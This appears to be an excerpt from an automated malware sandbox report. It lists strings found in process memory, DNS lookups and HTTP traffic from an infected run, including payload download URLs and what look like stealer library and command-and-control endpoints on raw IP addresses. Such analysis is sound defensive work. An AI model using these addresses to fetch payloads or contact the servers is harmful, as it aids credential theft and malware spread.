Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))This represents the number of days that we expect to enroll new users. Note that this property is only used during the analysis phase (not by the SDK) equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))This represents the number of days that we expect to enroll new users. Note that this property is only used during the analysis phase (not by the SDK) equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))This represents the number of days that we expect to enroll new users. Note that this property is only used during the analysis phase (not by the SDK) equals www.youtube.com (Youtube)
Source: 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: in.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE306AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3182930609.000001EE2F6AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comZ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3182930609.000001EE2F6AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comZ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3191656453.000001EE2FF1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE306D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FFBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 23 Oct 2024 23:08:56 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=klF%2BULpbBC6uRIK%2BwPMl4cFxPm9I9wkBu4QjuXdk7kvlmWtxdsm%2FGLyHN7SLmviQK5ZDsI%2BwTwJk8SmZ70ZT7QbWv0Q4L4V56BYb40EoSvmh48Kt6TWSEiRnJCeYltWLJUFJMg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d7564536bd647a8-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 23 Oct 2024 23:10:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Frm2wNIn7%2Bb7bCmdInhQ6j%2FV3rnX7rR6vhOST3FpzxrVkPnfpcXff6nr2HlPtzEVaoSpynIW4A0CsfGvpcROiGo2jbdqq1VFmRvbkvna0BDCTfMezV6biHrjuZLUyMGPWfU2sA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d75669beb8e45ef-DFW

Source: firefox.exe, 0000001A.00000003.3038131291.000001EE368E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3038131291.000001EE368F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3135741496.000001EE1EA6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE30134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: 2ffb915ad7.exe, 0000000C.00000003.3186750696.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 2ffb915ad7.exe, 0000000C.00000003.3185765626.0000000000D26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000003.2197927966.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe3
Source: 2ffb915ad7.exe, 0000000C.00000003.3185616243.0000000000D10000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3185765626.0000000000D26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe3)
Source: file.exe, 00000000.00000003.2197927966.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe7tE
Source: file.exe, file.exe, 00000000.00000003.2197927966.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3185616243.0000000000D10000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3185765626.0000000000D26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2197927966.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeSerq
Source: file.exe, file.exe, 00000000.00000003.2197927966.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3185616243.0000000000D10000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3185765626.0000000000D26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2197927966.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe5
Source: file.exe, 00000000.00000003.2197927966.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exen
Source: file.exe, 00000000.00000003.2197927966.00000000011AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exet
Source: 2ffb915ad7.exe, 0000000C.00000003.3186750696.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/mine/random.exeft
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.00000000006FB000.00000040.00000001.01000000.00000008.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.00000000012CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll4_=
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dllp
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001316000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001316000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllV
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dllmGI
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3cb
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php6c
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpFc
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpRb2
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpfGb
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpnc
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.00000000006FB000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phption:
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpub
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwser
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.00000000006FB000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: firefox.exe, 0000001A.00000003.3060200442.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001A.00000003.3060200442.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001A.00000003.3060200442.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001A.00000003.3060200442.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
